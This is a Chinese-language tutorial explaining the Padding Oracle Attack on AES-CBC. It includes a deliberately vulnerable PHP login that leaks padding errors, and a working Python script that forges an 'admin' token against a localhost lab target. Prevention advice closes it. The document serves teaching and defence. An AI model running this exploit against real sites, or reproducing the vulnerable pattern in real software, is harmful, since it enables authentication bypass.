0x01 简介
Padding Oracle Attack是一种针对CBC模式分组加密算法的攻击。它可以在不知道密钥(key)的情况下,通过对padding bytes的尝试,还原明文,或者构造出任意明文的密文。
0x02 原理
在密码学中,分组加密(Block cipher),又称分块加密或块密码,是一种对称密钥算法。它将明文分成多个等长的模块(block),使用确定的算法和对称密钥对每组分别加密解密,block的大小常见的有64bit、128bit、256bit等。在分组加密的CBC模式中,每个明文块先与前一个密文块进行异或后,再进行加密。加密过程大致如下图所示:
在这个过程中,如果最后一个分组的消息长度没有达到block的大小,则需要填充一些字节,被称为padding。以16个字节一个block为例,如果明文是I_am_Bob,长度为八个字节,则剩下的八个字节被填充了0x08,0x08,0x08,0x08,0x08,0x08,0x08,0x08这八个相同的字节,每个字节的值等于需要填充的字节长度。
以aes-128-cbc加密模式为例,加密I_am_Bob的过程大致如下:
类似的,解密过程大致如下:
在解密完成后,如果最后的padding值不正确,解密程序往往会抛出异常(padding error)。而利用应用的错误回显,攻击者往往可以判断出padding是否正确,这就是Padding Oracle Attack的前提。
0x03 攻击
如果攻击者已知并可以控制IV的值,那么攻击者就可以进行Padding Oracle Attack。还是以I_am_Bob和aes-128-cbc加密模式为例。攻击者构造IV为16个0字节,那么此时在解密时的padding是不正确的。
正确的padding值只可能为:
1个字节的padding为0x01
2个字节的padding为0x02,0x02
3个字节的padding为0x03,0x03,0x03
4个字节的padding为0x04,0x04,0x04,0x04
……
因为慢慢调整IV的值,以希望解密后,最后一个字节的值为正确的padding byte,比如一个0x01。
因为middle是固定的(此时我们不知道middle的值),所以从0x00到0xFF之间,只可能有一个值与middle的最后一个字节异或后,结果是0x01。通过遍历这255个值,可以找出IV需要的最后一个字节。
此时根据异或的性质,使用0x5e和0x01进行异或就可以得到middle的最后一个值0x5f。
在正确匹配了padding “0x01” 后,需要做的是继续推导出剩下的middle。根据padding的标准,当需要padding两个字节时,其值应该为0x02,0x02。而我们已经知道了middle的最后一个字节为0x5f,因此可以更新IV的最后一个字节为0x5f^0x02=0x5d,此时可以开始遍历IV的倒数第二个字节。
由此可得middle的倒数第二个字节为0x3c^0x02=0x3e。以此类推,可以推导出所有的middle。
获得middle后,与原来的IV进行异或,便可得到明文。在这个过程中,仅仅用到了密文和IV,通过对padding的推导,即可还原出明文,而不需要知道密钥(key)是什么。而IV并不需要保密,它往往是以明文形式发送的。
而获得middle后,还可以通过改变IV,使密文解密为任意明文。根据异或的性质,有:
原明文 ^ 原IV = middle
新明文 ^ 新IV = middle
∴ 原明文 ^ 原IV ^ 新明文 = 新IV
故只要把原IV改为计算得到的新IV,就可使密文解密为任意明文。
0x04 实例
假设某网站的后端身份验证代码如下:
<?php
error_reporting(0);
define("SECRET_KEY", "******"); //key不可知
define("METHOD", "aes-128-cbc");
session_start();
function get_random_token(){
$random_token = '';
$str = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890";
for($i = 0; $i < 16; $i++){
$random_token .= substr($str, rand(1, 61), 1);
}
return $random_token;
}
function get_identity(){
$id = '***'; //原明文不可知
$token = get_random_token();
$c = openssl_encrypt($id, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $token);
$_SESSION['id'] = base64_encode($c);
setcookie("token", base64_encode($token));
$_SESSION['isadmin'] = false;
}
function test_identity(){
if (isset($_SESSION['id'])) {
$c = base64_decode($_SESSION['id']);
$token = base64_decode($_COOKIE["token"]);
if($u = openssl_decrypt($c, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $token)){
if ($u === 'admin') {
$_SESSION['isadmin'] = true;
}
}else
echo "Error!";
}
}
if(!isset($_SESSION['id']))
get_identity();
test_identity();
if ($_SESSION["isadmin"])
echo "You are admin!";
else
echo "false";
?>
分析代码可知,该网站把用户的id用随机生成的token作为IV进行aes-128-cbc模式加密,并把加密后的id储存在session中,token储存在cookie中。而之后会把session中的id进行解密来验证用户是否为管理员。
在这种情况下,我们可以修改cookie中的token的值,也就是解密时的IV的值,那么就可以进行Padding Oracle Attack,从而获得管理员的身份。
具体的思路是:我们通过Padding Oracle Attack来获得aes-128-cbc加密中的middle的值,然后再修改token的值使其和middle进行xor后所得的值为admin,这样就能通过身份验证,获得管理员权限。
攻击脚本如下:
# -*- coding: utf-8 -*-
import requests
import base64
url = 'http://127.0.0.1/cbc.php'
N = 16
def inject_token(token):
header = {"Cookie": "PHPSESSID=" + phpsession + ";token=" + token}
result = requests.post(url, headers = header)
return result
def xor(a, b):
return "".join([chr(ord(a[i]) ^ ord(b[i % len(b)])) for i in xrange(len(a))])
def pad(string, N):
l = len(string)
if l != N:
return string + chr(N - l) * (N - l)
def padding_oracle(N):
get = ""
for i in xrange(1, N+1):
for j in xrange(0, 256):
padding = xor(get, chr(i) * (i-1))
c = chr(0) * (16-i) + chr(j) + padding
result = inject_token(base64.b64encode(c))
if "Error!" not in result.content:
get = chr(j ^ i) + get
break
return get
while 1:
session = requests.get(url).headers['Set-Cookie'].split(',')
phpsession = session[0].split(";")[0][10:]
print phpsession
token = session[1][6:].replace("%3D", '=').replace("%2F", '/').replace("%2B", '+').decode('base64')
middle1 = padding_oracle(N)
print "\n"
if(len(middle1) + 1 == 16):
for i in xrange(0, 256):
middle = chr(i) + middle1
print "token:" + token
print "middle:" + middle
plaintext = xor(middle,token)
print "plaintext:" + plaintext
des = pad('admin', N)
tmp = ""
print des.encode("base64")
for i in xrange(16):
tmp += chr(ord(token[i]) ^ ord(plaintext[i]) ^ ord(des[i]))
print tmp.encode('base64')
result = inject_token(base64.b64encode(tmp))
if "You are admin!" in result.content:
print result.content
print "success"
exit()
在这个攻击脚本中需要注意是的middle的后十五位都可以通过Padding Oracle Attack正常的解出,但是在解第一位时按逻辑应该解出全为padding的plaintext(在这个环境下也就是16个0x10),即解密的结果为NULL。而在验证代码中的验证条件为
if($u = openssl_decrypt($c, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $token)
所以在解第一位成功时为if(NULL)
,依然不满足if条件,无法进入验证成功逻辑,所以要对第一位进行爆破而不是Padding Oracle Attack。
最后攻击结果如图:
0x05 预防
Padding Oracle Attack的关键在于:
- 攻击者能够获知并修改IV
- 攻击者能够获知解密的结果是否符合padding
那么在实现和使用CBC模式的分组加密算法时,只要注意这两点,只要其中任意一个条件不能满足,攻击者就无法实施攻击。